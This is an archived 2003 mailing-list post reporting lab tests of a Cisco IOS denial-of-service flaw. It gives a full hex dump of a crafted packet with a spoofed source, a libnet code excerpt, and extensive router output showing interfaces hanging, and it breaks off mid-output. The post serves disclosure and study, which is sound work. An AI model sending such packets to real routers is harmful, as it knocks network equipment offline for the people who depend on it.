lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <000501c34f11$efd79ff0$1c01010a@netvf09v3k60bdk3>
From: amilabs at optonline.net (amilabs)
Subject: FW: Cisco Vulnerability forensic protocol analysis results.

>From Friday's testing.

This is a bit long for the  emails but please read through the whole
thing to gain a good understanding of the exploit. Email me directly for
the MS formatted Word version. Regards...

AMILABS CISCO IP PROTOCOL EXPLOIT TESTING RESULTS
JULY 18 2003

This is not a typical AMILABS formatted document, due to the importance
and severity of such a topic this document has forsaken all the fancy
formatting that most of AMI's customers have come to expect.


This document is organized in three simple sections:

Section  I 	Local Exploit Tests
Section II 	Cumulative Exploit Tests
Section III Remote Multihop Exploit Tests
Summary at bottom of email

As you may be aware of already there is a major security exploit against
Cisco router interfaces using either all or one of the following IP
protocols with random/useless data in the payload

IP next protocol types 	53 SWIPE
			55 Mobil IP
			77 SUN ND
			103 PIM 

More details about the exploit are at:
http://www.cisco.com/warp/public/707/cisco-sa-20030717-blocked.shtml

Please read the above Cisco advisory before following these document
experiment results.

This document is outlined in a sequential manner for the experiments
covered. So, please read through all the sections. 

This is a bit long for the group study emails but please read through
the whole thing to gain a good understanding of the exploit.


Section  I 	Local Exploit Tests

By using my protocol analyzer Agilent's Network Analyzer create/edit a
packet  I can easily reproduce the problem and actually cause it without
the need for any coding. 

The first set of tests were conducted on a local switched segment on a
single VLAN with my analyzer and one router. The router named router 4
is a Cisco 2513 running 12.2(1b) Its local Ethernet interface attacked
had an IP address of 10.1.1.44 A diagram of my testing from routers 4,
5, and 6 are at http://www.amilabs.com/labdiagrams.htm


 Below is the basic packet I created. 

00 E0 1E 60 9C 09         ETHER: Destination: 00-E0-1E-60-9C-09
00 0B 46 37 BA BE         ETHER: Source: 00-0B-46-37-BA-BE
08 00                     ETHER: Protocol: IP
                          
                          ------------  IP Header  ------------
45                        IP: Version = 4
                          IP: Header length = 20
00                        IP: Differentiated Services (DS) Field = 0x00
                          IP:     0000 00.. DS Codepoint = Default PHB
(0)
                          IP:     .... ..00 Unused
00 30                     IP: Packet length = 48
00 01                     IP: Id = 1
00 00                     IP: Fragmentation Info = 0x0000
                          IP:     .0.. ....  .... .... Don't Fragment
Bit = FALSE
                          IP:     ..0. ....  .... .... More Fragments
Bit = FALSE
                          IP:     ...0 0000  0000 0000 Fragment offset =
0
01                        IP: Time to live = 1
35                        IP: Protocol = 53 (53)
AC 42                     IP: Header checksum = AC42 (Verified AC42)
01 01 01 29               IP: Source address = 1.1.1.41
0A 01 01 2C               IP: Destination address = 10.1.1.44
08 00 93 8C 00 02 00 03   IP: 28 bytes of data
01 02 03 04 05 06 07 08    
09 0A 0B 0C 0D 0E 0F 10    
11 12 13 14                
                         
According to the advisory and the information posted on the full
disclosure mailing list regarding the LIBNET CODE for the test of this
exploit the use of a sequence of packets/protocols(mentioned above) and
data was presumed. This is not true. I was a able to successfully
achieve the same results using a single protocol and static data
payload.

This excerpt of LIBNET code shows

	int protocols[] = { 53, 55, 77, 103 };
	struct libnet_stats ls;

	lh = libnet_init(LIBNET_RAW4, NULL, errbuf);

that the protocols mentioned above are used to achieve the exploit state
of a remote Cisco interface uses all of them. This is not needed as I
will explain shortly. Also the use of RAW4 is the easier interface to
use in the Libnet library thus enabling even simpler single protocol
versions of this exploit to be created and the IP packet creations
function handled by the API and OS drivers. 
For those not familiar with LIBNET please read Mike Schiffman's book
"Building Open Source Network Security Tools" for more information. A
WIN32 version of LIBNET is available from WEBTECA at
http://utenti.lycos.it/webteca/libnet.htm.  Also the official Mike
Schiffman Libnet will support win32 environments in release 1.1.1. What
does this mean? More script kiddy versions of this exploit out there
quickly.

Okay, back to using a protocol analyzer to achieve this exploit. 

On this first test I generated SWIPE packets(packet shown earlier) to
Router4's basic 10base-T Ethernet interface. The router reached a peak
of 28% utilization upon the acceptance of such packets. I sent an
unlimited amount for several minutes. Note the spoofed source IP address
I used.

As you can see below I filled up the input queue.

Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:54, output 00:00:01, output hang never
  Last clearing of "show interface" counters 00:13:36
  Input queue: 76/75/522/0 (size/max/drops/flushes); Total output drops:
0
  Queueing strategy: weighted fair
  Output queue: 0/1000/64/0 (size/max total/threshold/drops)
     Conversations  0/1/256 (active/max active/max total)
     Reserved Conversations 0/0 (allocated/max allocated)
     Available Bandwidth 7500 kilobits/sec
  5 minute input rate 0 bits/sec, 15 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     13002 packets input, 812791 bytes, 1 no buffer
     Received 53 broadcasts, 0 runts, 0 giants, 525 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     125 packets output, 13607 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 1143 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out Router4#

Router4#sh proc cpu
CPU utilization for five seconds: 26%/11%; one minute: 21%; five
minutes: 11%
 PID  Runtime(ms)  Invoked  uSecs    5Sec   1Min   5Min TTY Process
   1         572      2152    265   0.08%  0.01%  0.00%   0 Load Meter
   2           4         3   1333   0.00%  0.00%  0.00%   0 PPP auth
   3       59008      2842  20762   0.00%  0.32%  0.39%   0 Check heaps
   4           4         1   4000   0.00%  0.00%  0.00%   0 Chunk
Manager
   5          12         5   2400   0.00%  0.00%  0.00%   0 Pool Manager
   6           0         2      0   0.00%  0.00%  0.00%   0 Timers
   7           4         2   2000   0.00%  0.00%  0.00%   0 Serial
Backgroun
   8          68       196    346   0.00%  0.00%  0.00%   0 ARP Input
   9           0         4      0   0.00%  0.00%  0.00%   0 DDR Timers
  10           0         2      0   0.00%  0.00%  0.00%   0 Dialer event
  11          20         2  10000   0.00%  0.00%  0.00%   0 Entity MIB
API
  12           0         1      0   0.00%  0.00%  0.00%   0 SERIAL
A'detect
  13           4         1   4000   0.00%  0.00%  0.00%   0 Critical
Bkgnd
  14       16212      3848   4213  10.05%  8.42%  3.07%   0 Net
Background


Notice the Net Background process - Please refer to the Cisco Press book
titled "Inside Cisco IOS Software Architectures" for detail about router
process and interface rings and queues. I am not going to go into that
in this document, sorry.

Results of this basic packet creation and generation exercise from a
protocol analyzer:

1). Cannot ping after this condition.. Not to or from router
attacked(router4) 
2). Doing a clear interface command does not help (see output below) 3).
Doing a shut down and up does not help too (see output below)

A warm reload works(using reload command)

2509#4
[Resuming connection 4 to r4 ... ]

Once the interface has been exploited clearing the interface does not
help:

Router4#
Router4#clear int e0
Router4#
Router4#
Router4#sh in e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:04:21, output 00:00:08, output hang never
  Last clearing of "show interface" counters 00:17:03
  Input queue: 76/75/1912/0 (size/max/drops/flushes); Total output
drops: 0
  Queueing strategy: weighted fair
  Output queue: 0/1000/64/0 (size/max total/threshold/drops)
     Conversations  0/1/256 (active/max active/max total)
     Reserved Conversations 0/0 (allocated/max allocated)
     Available Bandwidth 7500 kilobits/sec
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     13002 packets input, 812791 bytes, 1 no buffer
     Received 53 broadcasts, 0 runts, 0 giants, 1912 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     155 packets output, 16729 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 3826 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out

Shutting down the interface and brining it back up does not help either:

Router4#confi t
Enter configuration commands, one per line.  End with CNTL/Z.
Router4(config)#int e0 Router4(config-if)#shut Router4(config-if)#
000535: *Mar  1 03:05:11.835: %LINK-5-CHANGED: Interface Ethernet0,
changed state to admi istratively down
000536: *Mar  1 03:05:12.835: %LINEPROTO-5-UPDOWN: Line protocol on
Interface Ethernet0, hanged state to down Router4(config-if)#no shut
Router4(config-if)#
000537: *Mar  1 03:05:17.487: %LINK-3-UPDOWN: Interface Ethernet0,
changed state to up
000538: *Mar  1 03:05:18.487: %LINEPROTO-5-UPDOWN: Line protocol on
Interface Ethernet0, hanged state to up


Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:04:58, output 00:00:05, output hang never
  Last clearing of "show interface" counters 00:17:40
  Input queue: 76/75/1913/0 (size/max/drops/flushes); Total output
drops: 0
  Queueing strategy: weighted fair
  Output queue: 0/1000/64/0 (size/max total/threshold/drops)
     Conversations  0/1/256 (active/max active/max total)
     Reserved Conversations 0/0 (allocated/max allocated)
     Available Bandwidth 7500 kilobits/sec
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     13002 packets input, 812791 bytes, 1 no buffer
     Received 53 broadcasts, 0 runts, 0 giants, 1913 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     170 packets output, 19089 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 3829 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out

After clears and shutdowns I tried to ping the router 4 10.1.1.44
exploited interface from a neighboring router(router1) on the same
segment.

Router4#
2509#1
[Resuming connection 1 to r1 ... ]
..
Router1#
Router1#ping 10.1.1.44

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.44, timeout is 2 seconds:

2509#4
[Resuming connection 4 to r4 ... ]

Router4#

Still no luck. I had to do a warm reload of the router to get the
interface back.


Now using a spoofed source MAC and a spoofed IP source address.

The same results as above happened within seconds of packet generation.
So, only a couple hundred packets sent in several seconds and wham! The
interface is out. 

Router4#
Router4#
Router4#
Router4#
Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:05, output 00:00:08, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 76/75, 142 drops
  5 minute input rate 1000 bits/sec, 1 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     125 packets input, 12081 bytes, 0 no buffer
     Received 28 broadcasts, 0 runts, 0 giants, 142* throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     87 packets output, 8773 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 304 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out Router4#
Router4#sh int e0 Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:10, output 00:00:03, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 76/75, 171 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     125 packets input, 12081 bytes, 0 no buffer
     Received 28 broadcasts, 0 runts, 0 giants, 171* throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     88 packets output, 8833 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 362 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out Router4#
2509#1 [Resuming connection 1 to r1 ... ]

Router1#ping 10.1.1.44

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.44, timeout is 2 seconds: .....
Success rate is 0 percent (0/5) Router1#

What was observed in this test is as follows and is in CAPs to emphasize
the behavior.

THE PROBLELM PERSISTS AFTER TRAFFIC IS GENERATED AND CAN GROW EVEN IF
THE TRAFFIC IS APPLIED AT A LATER TIME..  
WHAT THIS MEANS IS THAT IF I STOP GENERATING TRAFFIC AND THE ROUTER IS
STILL IN THE "FROZEN" STATE. I CAN GENRERATE TRAFFIC 10 MINUTES LATER
AND THE INTERFACES'S COUTNERS INCREMENT. SEE BELOW SCREEN OUTPOUT. ALSO,
LOOK AT THE SH PROC CPU OUTPUT, ESPICALLY THE NET BACKGROUNDER PROCESS. 

Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:05:29, output 00:00:02, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 76/75, 808 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     125 packets input, 12081 bytes, 0 no buffer
     Received 28 broadcasts, 0 runts, 0 giants, 808* throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     141 packets output, 14475 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 1636 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out Router4#sh
proc cpu CPU utilization for five seconds: 15%/6%; one minute: 11%; five
minutes: 5%
 PID  Runtime(ms)  Invoked  uSecs    5Sec   1Min   5Min TTY Process
   1          24       131    183   0.00%  0.00%  0.00%   0 Load Meter
   2           8         3   2666   0.00%  0.00%  0.00%   0 PPP auth
   3        2452       160  15325   0.00%  0.31%  0.30%   0 Check heaps
   4           4         1   4000   0.00%  0.00%  0.00%   0 Chunk
Manager
   5          28         5   5600   0.00%  0.00%  0.00%   0 Pool Manager
   6           0         2      0   0.00%  0.00%  0.00%   0 Timers
   7           8         3   2666   0.00%  0.00%  0.00%   0 Serial
Backgroun
   8          24        21   1142   0.00%  0.00%  0.00%   0 ARP Input
   9           0         4      0   0.00%  0.00%  0.00%   0 DDR Timers
  10           0         2      0   0.00%  0.00%  0.00%   0 Dialer event
  11          24         2  12000   0.00%  0.00%  0.00%   0 Entity MIB
API
  12           0         1      0   0.00%  0.00%  0.00%   0 SERIAL
A'detect
  13           4         1   4000   0.00%  0.00%  0.00%   0 Critical
Bkgnd
  14        4576      1274   3591   8.51%  3.11%  0.97%   0 Net
Background
  15          24        16   1500   0.00%  0.00%  0.00%   0 Logger
  16         188       643    292   0.00%  0.00%  0.00%   0 TTY
Background
  17         136       687    197   0.00%  0.02%  0.00%   0 Per-Second
Jobs
  18         116       206    563   0.00%  0.00%  0.00%   0 Net Input
  19          32       132    242   0.00%  0.01%  0.00%   0 Compute load
avg
  20        1072        14  76571   0.00%  0.10%  0.11%   0 Per-minute
Jobs
  21           0         1      0   0.00%  0.00%  0.00%   0 AAA
Dictionary R
 --More--

I STOPPED TRANSMITTING FOR SEVERAL MINUTES 

Now no traffic is generated towards the exploited interface in a hung
mode. 
Now I do a show interface

Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:08:41, output 00:00:04, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 76/75, 1396 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     125 packets input, 12081 bytes, 0 no buffer
     Received 28 broadcasts, 0 runts, 0 giants, 1396 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     169 packets output, 17460 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 2813 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out

Notice the above drop count!!!

Now I will generate the SWIPE traffic again..

Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:09:50, output 00:00:03, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 76/75, 1701 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     125 packets input, 12081 bytes, 0 no buffer
     Received 28 broadcasts, 0 runts, 0 giants, 1701* throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     181 packets output, 18755 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 3422 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out Router4#

notice the drops count increased!!

What this means is that the interface is not fully hung for it is still
accepting the exploited packets even after the queue limit has been
reached.


I then reloaded the router.

Section II 	Cumulative Exploit Tests


I DISCOVERED THAT THE PROBLEM IS CUMULITIVE IN TERMS OF PACKET COUNT AND
NOT JUST A FLOODING OF INPUT. WHAT I DID WAS GENERATE ONE SWIPE PACKET
AT TIME AND WATCHED THE INPUT QUEUE INCRESE PACKET BY PACKET.

THERE IS A 1:1 RATIO OF QUEUE SPACE ALLOCATION PER ONE EXPLOITED PACKET(
SWIPE, PIM, MOBILE OR SUN) RECEIVED AND ONE QUEUE SPACE ALLOCATION. 
AS AN EXPLOITED PACKET IS RECEIVED ONE AT A TIME ONE INPUT QUQUE UNIT IS
ALLOCTATD AT A TIME.

THIS DOES NOT HAVE TO HAPPEN ALL AT ONCE. IT COULD BE HOURS OR DAYS. I
SENT A SINGLE EXPLOITED PACKET ONE AT A TIME UNTIL THE CONDITION OF
76/75 WAS REACHED AFTER THAT THE ROUTER INTERFACE IS HUNG. SEE BELOW:

STATE BEFORE SENDING OF SWIPE PACKEST ONE AT A TIME FROM PROTOCOL
ANLAYZER

Router4#
Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:25, output 00:00:02, output hang never
  Last clearing of "show interface" counters 00:00:08
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 0/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     0 packets input, 0 bytes, 0 no buffer
     Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     2 packets output, 415 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 0 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out

AFTER FIRST SWIPE PACKET IS RECEIVED
Notice the input queue count

Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:01, output 00:00:08, output hang never
  Last clearing of "show interface" counters 00:00:34
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 1/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     3 packets input, 510 bytes, 0 no buffer
     Received 2 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     4 packets output, 535 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 0 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out

AFTER SECOND PACKET RECEIVED
Notice the input queue count

Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:01, output 00:00:05, output hang never
  Last clearing of "show interface" counters 00:00:41
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 2/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     4 packets input, 572 bytes, 0 no buffer
     Received 2 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     5 packets output, 595 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 0 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out

AFTER THIRD PACKET RECEIVED
Notice the input queue count

Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:00, output 00:00:02, output hang never
  Last clearing of "show interface" counters 00:00:48
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 3/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     6 packets input, 694 bytes, 0 no buffer
     Received 3 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     6 packets output, 655 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 0 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out

AFTER FOURTH PACKET RECEIVED
Notice the input queue count

Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:01, output 00:00:07, output hang never
  Last clearing of "show interface" counters 00:00:53
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 4/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     7 packets input, 756 bytes, 0 no buffer
     Received 3 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     6 packets output, 655 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 0 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out

AFTER FIFTH PACKET RECEIVED
Notice the input queue count

Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:01, output 00:00:01, output hang never
  Last clearing of "show interface" counters 00:00:58
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 5/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     8 packets input, 818 bytes, 0 no buffer
     Received 3 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     9 packets output, 975 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 0 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out Router4#
Router4#

THEN I RAN A PING TO A NEIGIBORING ROUTER FROM THE ATTACKED ROUTER, ALL
STILL GOOD. Router4#ping 10.1.1.41

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.41, timeout is 2 seconds: !!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 4/4/8 ms


I WAS TOO LAZY TO SEND THE NEXT 70 PACKETS INDIVIDUALLY SO I SENT 70 IN
A ROW

Notice the input queue count now!!!

Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  Keepalive set (10 sec)
  ARP type: ARPA, ARP Timeout 04:00:00
  Last input 00:00:00, output 00:00:07, output hang never
  Last clearing of "show interface" counters 00:01:33
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 75/75, 0 drops
  5 minute input rate 0 bits/sec, 0 packets/sec
  5 minute output rate 0 bits/sec, 0 packets/sec
     86 packets input, 6419 bytes, 0 no buffer
     Received 6 broadcasts, 0 runts, 0 giants, 0 throttles
     0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
     0 input packets with dribble condition detected
     18 packets output, 2080 bytes, 0 underruns(0/0/0)
     0 output errors, 0 collisions, 0 interface resets
     0 babbles, 0 late collision, 0 deferred
     0 lost carrier, 0 no carrier
     0 output buffer failures, 0 output buffers swapped out


WE REACHED THE UPPER LIMIT AND STILL GOOD. I can still ping from the
attacked router.

Router4#ping 10.1.1.41
 
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.41, timeout is 2 seconds: !!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 1/3/4 ms
Router4#ping 10.1.1.41

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.1.1.41, timeout is 2 seconds: !!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 4/4/4 ms

THEN I SENT ONE MORE EXPLOITED PACKET TO CROSS QUEUE THREASHOLD AND
WHAM!!!!! Notice the input queue count


Router4#sh int e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
  Internet address is 10.1.1.44/8
